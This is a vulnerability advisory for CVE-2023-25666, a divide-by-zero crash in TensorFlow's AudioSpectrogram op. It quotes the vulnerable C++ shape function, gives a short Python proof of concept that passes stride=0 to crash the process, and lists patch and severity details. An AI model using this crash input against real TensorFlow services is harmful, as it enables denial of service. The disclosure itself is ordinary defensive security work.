TensorFlow has Floating Point Exception in AudioSpectrogram
High7.5CVE-2023-25666 · Published Mar 24, 2023 · updated Jul 13, 2026
### Impact version:2.11.0 //core/ops/audio_ops.cc:70 Status SpectrogramShapeFn(InferenceContext* c) { ShapeHandle input; TF_RETURN_IF_ERROR(c->WithRank(c->input(0), 2, &input)); int32_t window_size; TF_RETURN_IF_ERROR(c->GetAttr("window_size", &window_size)); int32_t stride; TF_RETURN_IF_ERROR(c->GetAttr("stride", &stride)); .....[1] DimensionHandle input_length = c->Dim(input, 0); DimensionHandle input_channels = c->Dim(input, 1); DimensionHandle output_length; if (!c->ValueKnown(input_length)) { output_length = c->UnknownDim(); } else { const int64_t input_length_value = c->Value(input_length); const int64_t length_minus_window = (input_length_value - window_size); int64_t output_length_value; if (length_minus_window < 0) { output_length_value = 0; } else { output_length_value = 1 + (length_minus_window / stride); .....[2] } output_length = c->MakeDim(output_length_value); } Get the value of stride at [1], and the used at [2] ```python import tensorflow as tf para = {'input': tf.constant([[14.], [24.]], dtype=tf.float32), 'window_size': 1, 'stride': 0, 'magnitude_squared': False} func = tf.raw_ops.AudioSpectrogram @tf.function(jit_compile=True) def fuzz_jit(): y = func(*...
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| tensorflow PyPI | < 2.11.1 | 2.11.1 |
Details and references
### Impact version:2.11.0 //core/ops/audio_ops.cc:70 Status SpectrogramShapeFn(InferenceContext* c) { ShapeHandle input; TF_RETURN_IF_ERROR(c->WithRank(c->input(0), 2, &input)); int32_t window_size; TF_RETURN_IF_ERROR(c->GetAttr("window_size", &window_size)); int32_t stride; TF_RETURN_IF_ERROR(c->GetAttr("stride", &stride)); .....[1] DimensionHandle input_length = c->Dim(input, 0); DimensionHandle input_channels = c->Dim(input, 1); DimensionHandle output_length; if (!c->ValueKnown(input_length)) { output_length = c->UnknownDim(); } else { const int64_t input_length_value = c->Value(input_length); const int64_t length_minus_window = (input_length_value - window_size); int64_t output_length_value; if (length_minus_window < 0) { output_length_value = 0; } else { output_length_value = 1 + (length_minus_window / stride); .....[2] } output_length = c->MakeDim(output_length_value); } Get the value of stride at [1], and the used at [2] ```python import tensorflow as tf para = {'input': tf.constant([[14.], [24.]], dtype=tf.float32), 'window_size': 1, 'stride': 0, 'magnitude_squared': False} func = tf.raw_ops.AudioSpectrogram @tf.function(jit_compile=True) def fuzz_jit(): y = func(**para) return y fuzz_jit() ``` ### Patches We have patched the issue in GitHub commit [d0d4e779da0d0f56499c6fa5ba09f0a576cc6b14](https://github.com/tensorflow/tensorflow/commit/d0d4e779da0d0f56499c6fa5ba09f0a576cc6b14). The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1 ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by r3pwnx
- CVSS 3.1
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Severity from
- GitHub (reviewed advisory)
- Weakness
- CWE-697
- Also known as
- BIT-tensorflow-2023-25666, CVE-2023-25666, PYSEC-2026-1960, PYSEC-2026-3169, PYSEC-2026-3317
More TensorFlow advisories
All TensorFlow| Date | Advisory | Severity | Fixed in |
|---|---|---|---|
| Mar 242023 | TensorFlow vulnerable to Out-of-Bounds Read in DynamicStitch High7.5Mar 24, 2023 | High7.5 | 2.11.1 |
| Mar 242023 | TensorFlow vulnerable to seg fault in `tf.raw_ops.Print`High7.5Mar 24, 2023 | High7.5 | 2.11.1 |
| Mar 242023 | TensorFlow vulnerable to integer overflow in EditDistanceHigh7.5Mar 24, 2023 | High7.5 | 2.11.1 |
| Mar 242023 | TensorFlow has Null Pointer Error in TensorArrayConcatV2High7.5Mar 24, 2023 | High7.5 | 2.11.1 |
| Mar 242023 | TensorFlow has Heap-buffer-overflow in AvgPoolGradHigh7.5Mar 24, 2023 | High7.5 | 2.11.1 |
| Mar 242023 | TensorFlow has Null Pointer Error in SparseSparseMaximumHigh7.5Mar 24, 2023 | High7.5 | 2.11.1 |